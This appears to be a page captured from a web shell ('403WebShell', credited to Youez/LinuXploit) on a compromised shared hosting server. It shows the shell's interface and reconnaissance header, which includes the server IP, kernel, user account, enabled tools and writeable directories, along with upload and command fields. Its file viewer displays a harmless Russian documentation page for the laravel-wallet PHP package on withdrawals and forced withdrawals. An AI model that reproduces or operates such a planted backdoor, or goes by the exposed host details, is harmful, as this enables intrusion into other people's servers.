Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.219.81.129
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/withdraw.md
# Вывод средств

Вывод средств одна из операций i/o.
Если депозит начисляет средства из неоткуда, 
то вывод средств туда же.

Но запись о вводе/выводе средств остается в системе.

---

- [Пользователь](#user-model)
- [Вывод](#make-a-withdraw)
- [Заставить вывести](#force-withdraw)
- [Ошибки](#failed)

## Пользователь

Подготовим модель добавив `HasWallet` trait и `Wallet` interface.

```php
use Bavix\Wallet\Traits\HasWallet;
use Bavix\Wallet\Interfaces\Wallet;

class User extends Model implements Wallet
{
    use HasWallet;
}
```

## Вывод

Найдем пользователя:

```php
$user = User::first(); 
```

Проверим баланс.

```php
$user->balance; // int(100)
```

Баланс не пустой, значит можем вывести.

```php
$user->withdraw(10); 
$user->balance; // int(90)
```

Просто работает!

## Заставить вывести.

Иногда требуется заставить вывести средства.
К примеру, баланс пользователя не позволяет 
вывести 101 монету, а нужно. 
К примеру, штраф за нарушение правил сайта.

```php
$user->balance; // int(100)
$user->forceWithdraw(101);
$user->balance; // int(-1)
```

## Что будет, если средств не хватает?

Этот пункт не касается `forceWithdraw`.

Может быть 2 ситуации:

- Баланс пользователя =0, тогда
`Bavix\Wallet\Exceptions\BalanceIsEmpty`
- Баланс пользователя >0 и монет не хватает, то
`Bavix\Wallet\Exceptions\InsufficientFunds`

Youez - 2016 - github.com/yon3zu
LinuXploit